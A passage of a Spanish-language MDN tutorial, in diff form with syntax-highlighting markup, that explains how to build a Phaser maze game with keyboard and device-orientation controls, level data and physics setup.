+Ball<span class="punctuation token">.</span>Boot <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>game<span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+Ball<span class="punctuation token">.</span>Boot<span class="punctuation token">.</span>prototype <span class="operator token">=</span> <span class="punctuation token">{</span>
+    preload<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>load<span class="punctuation token">.</span><span class="function token">image</span><span class="punctuation token">(</span><span class="string token">'preloaderBg'</span><span class="punctuation token">,</span> <span class="string token">'img/loading-bg.png'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>load<span class="punctuation token">.</span><span class="function token">image</span><span class="punctuation token">(</span><span class="string token">'preloaderBar'</span><span class="punctuation token">,</span> <span class="string token">'img/loading-bar.png'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">,</span>
+    create<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>game<span class="punctuation token">.</span>scale<span class="punctuation token">.</span>scaleMode <span class="operator token">=</span> Phaser<span class="punctuation token">.</span>ScaleManager<span class="punctuation token">.</span>SHOW_ALL<span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>game<span class="punctuation token">.</span>scale<span class="punctuation token">.</span>pageAlignHorizontally <span class="operator token">=</span> <span class="keyword token">true</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>game<span class="punctuation token">.</span>scale<span class="punctuation token">.</span>pageAlignVertically <span class="operator token">=</span> <span class="keyword token">true</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>game<span class="punctuation token">.</span>state<span class="punctuation token">.</span><span class="function token">start</span><span class="punctuation token">(</span><span class="string token">'Preloader'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>El objeto principal <code>Ball</code> es definido y estamos añadiendo dos variables llamadas <code>_WIDTH</code> y <code>_HEIGHT</code> esos seran el ancho y la altura del canvas de nuestro juego, respectivamente — nos ayudarán a posicionar los elementos en la pantalla. Estamos cargando dos imagenes primero que serán usadas después en el estado <code>Preload</code> para mostrar el progreso de la carga de los demás elementos. La función <code>create</code> contiene algunas de las configuraciones básicas: estamos configurando la escala y la alineación del canvas, y avanzando al estado <code>Preload</code> cuando todo este listo.</p>
+
+<h3 id="Preloader.js">Preloader.js</h3>
+
+<p>El estado <code>Preloader</code> se ocupa de cargar todos los elementos:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">Ball<span class="punctuation token">.</span>Preloader <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>game<span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+Ball<span class="punctuation token">.</span>Preloader<span class="punctuation token">.</span>prototype <span class="operator token">=</span> <span class="punctuation token">{</span>
+    preload<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>preloadBg <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>add<span class="punctuation token">.</span><span class="function token">sprite</span><span class="punctuation token">(</span><span class="punctuation token">(</span>Ball<span class="punctuation token">.</span>_WIDTH<span class="number token">-297</span><span class="punctuation token">)</span><span class="operator token">*</span><span class="number token">0.5</span><span class="punctuation token">,</span> <span class="punctuation token">(</span>Ball<span class="punctuation token">.</span>_HEIGHT<span class="number token">-145</span><span class="punctuation token">)</span><span class="operator token">*</span><span class="number token">0.5</span><span class="punctuation token">,</span> <span class="string token">'preloaderBg'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>preloadBar <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>add<span class="punctuation token">.</span><span class="function token">sprite</span><span class="punctuation token">(</span><span class="punctuation token">(</span>Ball<span class="punctuation token">.</span>_WIDTH<span class="number token">-158</span><span class="punctuation token">)</span><span class="operator token">*</span><span class="number token">0.5</span><span class="punctuation token">,</span> <span class="punctuation token">(</span>Ball<span class="punctuation token">.</span>_HEIGHT<span class="number token">-50</span><span class="punctuation token">)</span><span class="operator token">*</span><span class="number token">0.5</span><span class="punctuation token">,</span> <span class="string token">'preloaderBar'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>load<span class="punctuation token">.</span><span class="function token">setPreloadSprite</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>preloadBar<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+        <span class="keyword token">this</span><span class="punctuation token">.</span>load<span class="punctuation token">.</span><span class="function token">image</span><span class="punctuation token">(</span><span class="string token">'ball'</span><span class="punctuation token">,</span> <span class="string token">'img/ball.png'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="comment token">// ...</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>load<span class="punctuation token">.</span><span class="function token">spritesheet</span><span class="punctuation token">(</span><span class="string token">'button-start'</span><span class="punctuation token">,</span> <span class="string token">'img/button-start.png'</span><span class="punctuation token">,</span> <span class="number token">146</span><span class="punctuation token">,</span> <span class="number token">51</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="comment token">// ...</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>load<span class="punctuation token">.</span><span class="function token">audio</span><span class="punctuation token">(</span><span class="string token">'audio-bounce'</span><span class="punctuation token">,</span> <span class="punctuation token">[</span><span class="string token">'audio/bounce.ogg'</span><span class="punctuation token">,</span> <span class="string token">'audio/bounce.mp3'</span><span class="punctuation token">,</span> <span class="string token">'audio/bounce.m4a'</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">,</span>
+    create<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>game<span class="punctuation token">.</span>state<span class="punctuation token">.</span><span class="function token">start</span><span class="punctuation token">(</span><span class="string token">'MainMenu'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>Para crear un nuevo botón tenemos el método <code>add.button</code> con la siguiente lista de argumentos opcionales:</p>
+
+<ul>
+ <li>Posición absoluta superior del canvas, en pixeles.</li>
+ <li>Posición absoluta izquierda del canvas, en pixeles.</li>
+ <li>Nombre del elemento imagen utilizado por el botón.</li>
+ <li>Función que será ejecutada cuando alguien haga click sobre el botón.</li>
+ <li>El contexto de la ejecución.</li>
+ <li>Cuadro (<em>frame) </em>del elemento imagen utilizado para el estado 'hover' del botón (cuando el mouse se encuentra sobre él).</li>
+ <li>Cuadro (<em>frame)</em> del elemento imagen utilizado para el estado 'normal' o 'out' del botón.</li>
+ <li>Cuadro (<em>frame) </em>del elemento imagen utilizado para el 'click' o 'down' del botón.</li>
+</ul>
+
+<p>El <code>anchor.set</code> colocará el punto de ancla en el botón con el cual se realizarán y aplicarán todos los cálculos de posición para el botón. En nuestro caso, está anclado a la mitad del borde izquierdo y al comienzo del borde superior, para así centrarlo de manera horizontal facilmente, sin necesidad de saber su ancho.</p>
+
+<p>Cuando el boton de inicio es presionado, en lugar de saltar directamente a la acción, el juego mostrará la pantalla con las intrucciones para jugar.</p>
+
+<h3 id="Howto.js">Howto.js</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">Ball<span class="punctuation token">.</span>Howto <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>game<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+Ball<span class="punctuation token">.</span>Howto<span class="punctuation token">.</span>prototype <span class="operator token">=</span> <span class="punctuation token">{</span>
+    create<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>buttonContinue <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>add<span class="punctuation token">.</span><span class="function token">button</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="string token">'screen-howtoplay'</span><span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>startGame<span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">,</span>
+    startGame<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>game<span class="punctuation token">.</span>state<span class="punctuation token">.</span><span class="function token">start</span><span class="punctuation token">(</span><span class="string token">'Game'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>El estado <code>Howto</code> muesta las intrucciones de juego en la pantalla antes de comenzar el juego. Luego de clickear la pantalla el juego es lanzado.</p>
+
+<h3 id="Game.js">Game.js</h3>
+
+<p>El estado <code>Game</code> del archivo <code>Game.js</code> es donde ocurre toda la magia. Todas las inicializaciones estan en la función <code>create()</code> (que se lanza una vez al comienzo del juego). Luego de eso, algunas funcionalidades requeriran más código para controlar — escribiremos nuestras propias funciones para manejar tareas más complicadas. En particular, toma nota de la función <code>update()</code> que es ejecutada en cada <em>frame </em>y actualiza cosas como la posición de la pelota.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">Ball<span class="punctuation token">.</span>Game <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>game<span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+Ball<span class="punctuation token">.</span>Game<span class="punctuation token">.</span>prototype <span class="operator token">=</span> <span class="punctuation token">{</span>
+    create<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span>
+    initLevels<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span>
+    showLevel<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>level<span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span>
+    updateCounter<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span>
+    managePause<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span>
+    manageAudio<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span>
+    update<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span>
+    wallCollision<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span>
+    handleOrientation<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span>
+    finishLevel<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>Las funciones <code>create</code> y <code>update</code> son específicas del <em>framework</em>, mientras que otras seran nuestras propias creaciones:</p>
+
+<ul>
+ <li><code>initLevels</code> inicializa los datos del nivel.</li>
+ <li><code>showLevel</code> imprime los datos del nivel en la pantalla.</li>
+ <li><code>updateCounter</code> actualiza el tiempo dedicado a jugar cada nivel y registra el tiempo total dedicado al juego.</li>
+ <li><code>managePause</code> pausa y reanuda el juego.</li>
+ <li><code>manageAudio</code> enciende y apaga el audio.</li>
+ <li><code>wallCollision</code> es ejecutado cuando la pelota golpea las paredes u otros objetos.</li>
+ <li><code>handleOrientation</code> es la función ligada al evento responsable por la API de orientación de dispositivo, proporciona los controles de movimiento cuando el juego es ejecutado en un dispositivo móvil con el hardware apropiado.</li>
+ <li><code>finishLevel</code> carga un nuevo nivel cuando se completa el nivel actual, o termina el juego si se completa el nivel final.</li>
+</ul>
+
+<h4 id="Agregando_la_pelota_y_sus_mecanismos_de_movimiento">Agregando la pelota y sus mecanismos de movimiento</h4>
+
+<p>Primero vamos a ir a la función <code>create()</code>, inicializamos el objeto <code>ball</code> y le asignamos unas cuantas propiedades:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">this</span><span class="punctuation token">.</span>ball <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>add<span class="punctuation token">.</span><span class="function token">sprite</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>ballStartPos<span class="punctuation token">.</span>x<span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>ballStartPos<span class="punctuation token">.</span>y<span class="punctuation token">,</span> <span class="string token">'ball'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">.</span>anchor<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="number token">0.5</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">this</span><span class="punctuation token">.</span>physics<span class="punctuation token">.</span><span class="function token">enable</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">,</span> Phaser<span class="punctuation token">.</span>Physics<span class="punctuation token">.</span>ARCADE<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">setSize</span><span class="punctuation token">(</span><span class="number token">18</span><span class="punctuation token">,</span> <span class="number token">18</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">.</span>body<span class="punctuation token">.</span>bounce<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="number token">0.3</span><span class="punctuation token">,</span> <span class="number token">0.3</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Aqui estamos agregando un sprite en un lugar de la pantalla y utilizando la imagen de la pelota de los elementos gráficos ya cargados. También estamos configurando el <code>anchor</code> (ancla) que realizará los cálculos de física para el centro de la pelota, habilitando el motor de físicas Arcade (que manejara todas las físicas para el movimiento de la pelota), y estableciendo el tamaño del cuerpo para la detección de colisiones. La propiedad <code>bounce</code> es utilizada para configurar el 'rebote' de la pelota cuando golpea los obstaculos.</p>
+
+<h4 id="Controlando_la_pelota">Controlando la pelota</h4>
+
+<p>Es genial tener lista la pelota para poder lanzarla en la zona del juego, pero también es importante poder realmente moverla! Ahora vamos a añadir la capacidad de controlar con el teclado la pelota en los dispositivos de escritorio, y luego pasaremos a la implementación de la API de Orientación de Dispositivo. Vamos a enfocarnos en el teclado primero añadiendo lo siguiente a la función <code>create()</code>:</p>
+
+<pre class="brush: js">this.keys = this.game.input.keyboard.createCursorKeys();</pre>
+
+<p>Como puedes ver, hay una función especial de Phaser llamada <code>createCursorKeys()</code> que nos dará un objeto con controladores de evento para las cuatro teclas de flecha, que nos permitira jugar con: arriba, abajo, izquierda y derecha.</p>
+
+<p>A continuación añadiremos el siguiente código a la función <code>update()</code>, para que sea ejecutado en cada <em>frame</em>. El objeto <code>this.keys</code> será chequeado con el input del jugador (las teclas que presione por ejemplo) así la pelota podrá reaccionar acorde, con una fuerza predefinida:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">if</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>keys<span class="punctuation token">.</span>left<span class="punctuation token">.</span>isDown<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">.</span>body<span class="punctuation token">.</span>velocity<span class="punctuation token">.</span>x <span class="operator token">-</span><span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>movementForce<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="keyword token">else</span> <span class="keyword token">if</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>keys<span class="punctuation token">.</span>right<span class="punctuation token">.</span>isDown<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">.</span>body<span class="punctuation token">.</span>velocity<span class="punctuation token">.</span>x <span class="operator token">+</span><span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>movementForce<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="keyword token">if</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>keys<span class="punctuation token">.</span>up<span class="punctuation token">.</span>isDown<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">.</span>body<span class="punctuation token">.</span>velocity<span class="punctuation token">.</span>y <span class="operator token">-</span><span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>movementForce<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="keyword token">else</span> <span class="keyword token">if</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>keys<span class="punctuation token">.</span>down<span class="punctuation token">.</span>isDown<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">.</span>body<span class="punctuation token">.</span>velocity<span class="punctuation token">.</span>y <span class="operator token">+</span><span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>movementForce<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>De esa manera podemos verificar qué tecla es presionada en determinado <em>frame</em> y aplicar la fuerza definida a la pelota, así aumentar la velocidad en la dirección correcta.</p>
+
+<h4 id="Implementando_la_API_de_Orientación_del_Dispositivo">Implementando la API de Orientación del Dispositivo</h4>
+
+<p>Probablemente la parte más interesante del juego es que utiliza la API de Orientación para Dispositivos móviles. Gracias a esto puedes jugar el juego inclinando el dispositivo en la dirección que quieres que la pelota ruede. Aquí está el código de la función <code>create()</code><em> </em>responsable por esto:</p>
+
+<pre class="brush: js">window.addEventListener("deviceorientation", this.handleOrientation, true);</pre>
+
+<p>Vamos a añadir un detector de eventos al evento "<code>deviceorientation</code>" y vincularlo a la función <code>handleOrientation</code>, se ve como esto:</p>
+
+<pre class="brush: js">handleOrientation: function(e) {
+    var x = e.gamma;
+    var y = e.beta;
+<code class="language-js">    Ball<span class="punctuation token">.</span>_player<span class="punctuation token">.</span>body<span class="punctuation token">.</span>velocity<span class="punctuation token">.</span>x <span class="operator token">+</span><span class="operator token">=</span> x<span class="punctuation token">;</span>
+    Ball<span class="punctuation token">.</span>_player<span class="punctuation token">.</span>body<span class="punctuation token">.</span>velocity<span class="punctuation token">.</span>y <span class="operator token">+</span><span class="operator token">=</span> y<span class="punctuation token">;</span></code>
+}</pre>
+
+<p><span style="line-height: 1.5;">Mientras más inclines el dispositivo, más fuerza se aplica a la pelota y la velocidad en la que se mueve es mayor.</span></p>
+
+<p><span style="line-height: 1.5;"><img alt="" src="https://mdn.mozillademos.org/files/10369/cyber-orb-flame-orientation.png"></span></p>
+
+<div class="note">
+<p><span style="line-height: 1.5;"><strong>Nota</strong>: Para encontrar más sobre implementar la orientación de los dispositivos y cómo se vé en código crudo, lee </span> <a href="https://developer.mozilla.org/en-US/Apps/Build/gather_and_modify_data/responding_to_device_orientation_changes">Keep it level: responding to device orientation changes</a>.</p>
+</div>
+
+<h4 id="Añadiendo_el_agujero">Añadiendo el agujero</h4>
+
+<p>El principal objetivo del juego es mover la pelota desde la posición inicial a la posición final: un agujero en el suelo. Esta implementación es muy similar a la parte anterior en donde creamos la pelota, y también es añadida en la función <code>create()</code> de nuestro estado <code>Game</code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">this</span><span class="punctuation token">.</span>hole <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>add<span class="punctuation token">.</span><span class="function token">sprite</span><span class="punctuation token">(</span>Ball<span class="punctuation token">.</span>_WIDTH<span class="operator token">*</span><span class="number token">0.5</span><span class="punctuation token">,</span> <span class="number token">90</span><span class="punctuation token">,</span> <span class="string token">'hole'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">this</span><span class="punctuation token">.</span>physics<span class="punctuation token">.</span><span class="function token">enable</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>hole<span class="punctuation token">,</span> Phaser<span class="punctuation token">.</span>Physics<span class="punctuation token">.</span>ARCADE<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">this</span><span class="punctuation token">.</span>hole<span class="punctuation token">.</span>anchor<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="number token">0.5</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">this</span><span class="punctuation token">.</span>hole<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">setSize</span><span class="punctuation token">(</span><span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>La diferencia está en que el cuerpo del agujero se configura como inamovible por lo que no se moverá cuando acertamos con la pelota y tendrá calculada la detección de colisión (esto se tratará más adelante en este artículo).</p>
+
+<h4 id="Construyendo_el_laberinto_de_bloques"><strong>Construyendo el laberinto de bloques</strong></h4>
+
+<p>Para hacer más difícil el juego, y más interesante, añadiremos algunos obstaculos entre la pelota y la sálida. Podríamos usar un editor de niveles pero por motivo de este tutorial, vamos a crear algo nosotros mismos.</p>
+
+<p>Para contener el bloque de información usaremos un <em>array</em> con los datos de nivel: para cada bloque almacenaremos las posiciones abolutas izquierda y superior en pixeles (<strong>x </strong>e <strong>y</strong>) y el tipo de bloque: horizontal o vertical (<code>t</code> con el valor <code>'w'</code> para el ancho, y <code>'h'</code> para la altura). Luego, para cargar el nivel analizaremos los datos y mostraremos los bloques especificos para ese nivel. En la función <code>initLevels</code> tenemos:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">this</span><span class="punctuation token">.</span>levelData <span class="operator token">=</span> <span class="punctuation token">[</span>
+    <span class="punctuation token">[</span>
+        <span class="punctuation token">{</span> x<span class="punctuation token">:</span> <span class="number token">96</span><span class="punctuation token">,</span> y<span class="punctuation token">:</span> <span class="number token">224</span><span class="punctuation token">,</span> t<span class="punctuation token">:</span> <span class="string token">'w'</span> <span class="punctuation token">}</span>
+    <span class="punctuation token">]</span><span class="punctuation token">,</span>
+    <span class="punctuation token">[</span>
+        <span class="punctuation token">{</span> x<span class="punctuation token">:</span> <span class="number token">72</span><span class="punctuation token">,</span> y<span class="punctuation token">:</span> <span class="number token">320</span><span class="punctuation token">,</span> t<span class="punctuation token">:</span> <span class="string token">'w'</span> <span class="punctuation token">}</span><span class="punctuation token">,</span>
+        <span class="punctuation token">{</span> x<span class="punctuation token">:</span> <span class="number token">200</span><span class="punctuation token">,</span> y<span class="punctuation token">:</span> <span class="number token">320</span><span class="punctuation token">,</span> t<span class="punctuation token">:</span> <span class="string token">'h'</span> <span class="punctuation token">}</span><span class="punctuation token">,</span>
+        <span class="punctuation token">{</span> x<span class="punctuation token">:</span> <span class="number token">72</span><span class="punctuation token">,</span> y<span class="punctuation token">:</span> <span class="number token">150</span><span class="punctuation token">,</span> t<span class="punctuation token">:</span> <span class="string token">'w'</span> <span class="punctuation token">}</span>
+    <span class="punctuation token">]</span><span class="punctuation token">,</span>
+    <span class="comment token">// ...</span>
+<span class="punctuation token">]</span><span class="punctuation token">;</span></code></pre>
+
+<p>Todos los elementos del <em>array</em> contienen una colección de bloques con una posición <code>x</code> e <code>y</code> y un valor <code>t</code> para cada uno. Luego de <code>levelData</code> pero dentro de la función <code>initLevels</code>, añadiremos los bloques dentro de un <em>array</em> en el loop <code>for</code> usando algunos de los métodos específicos del <em>framework</em>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">for</span><span class="punctuation token">(</span><span class="keyword token">var</span> i<span class="operator token">=</span><span class="number token">0</span><span class="punctuation token">;</span> i<span class="operator token">&lt;</span><span class="keyword token">this</span><span class="punctuation token">.</span>maxLevels<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> newLevel <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>add<span class="punctuation token">.</span><span class="function token">group</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    newLevel<span class="punctuation token">.</span>enableBody <span class="operator token">=</span> <span class="keyword token">true</span><span class="punctuation token">;</span>
+    newLevel<span class="punctuation token">.</span>physicsBodyType <span class="operator token">=</span> Phaser<span class="punctuation token">.</span>Physics<span class="punctuation token">.</span>ARCADE<span class="punctuation token">;</span>
+    <span class="keyword token">for</span><span class="punctuation token">(</span><span class="keyword token">var</span> e<span class="operator token">=</span><span class="number token">0</span><span class="punctuation token">;</span> e<span class="operator token">&lt;</span><span class="keyword token">this</span><span class="punctuation token">.</span>levelData<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>length<span class="punctuation token">;</span> e<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">var</span> item <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>levelData<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">[</span>e<span class="punctuation token">]</span><span class="punctuation token">;</span>
+        newLevel<span class="punctuation token">.</span><span class="function token">create</span><span class="punctuation token">(</span>item<span class="punctuation token">.</span>x<span class="punctuation token">,</span> item<span class="punctuation token">.</span>y<span class="punctuation token">,</span> <span class="string token">'element-'</span><span class="operator token">+</span>item<span class="punctuation token">.</span>t<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+    newLevel<span class="punctuation token">.</span><span class="function token">setAll</span><span class="punctuation token">(</span><span class="string token">'body.immovable'</span><span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    newLevel<span class="punctuation token">.</span>visible <span class="operator token">=</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+    <span class="keyword token">this</span><span class="punctuation token">.</span>levels<span class="punctuation token">.</span><span class="function token">push</span><span class="punctuation token">(</span>newLevel<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Primero, <code>add.group()</code> es usado para crear un nuevo grupo de items. Luego, el <em>body tipe</em> <code>ARCADE</code> se configura para permitir los cálculos de física. El método <code>newLevel.create</code> crea nuevos items en el grupo con posiciones superior e izquierda iniciales y su propia imagen. Si no quieres recorrer nuevamente la lista de elementos para agregar una propiedad a cada uno explicitamente, puedes usar <code>setAll</code> en un grupo para aplicarlo a todos los items en ese grupo.</p>
+
+<p>Los objetos son almacenados en el <em>array</em> <code>this.levels</code>, el cual es por defecto invisible. Para cargar niveles específicos, nos aseguramos de que los niveles previos esten escondidos, y mostramos el nivel actual:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">showLevel<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>level<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> lvl <span class="operator token">=</span> level <span class="operator token">|</span> <span class="keyword token">this</span><span class="punctuation token">.</span>level<span class="punctuation token">;</span>
+    <span class="keyword token">if</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>levels<span class="punctuation token">[</span>lvl<span class="number token">-2</span><span class="punctuation token">]</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
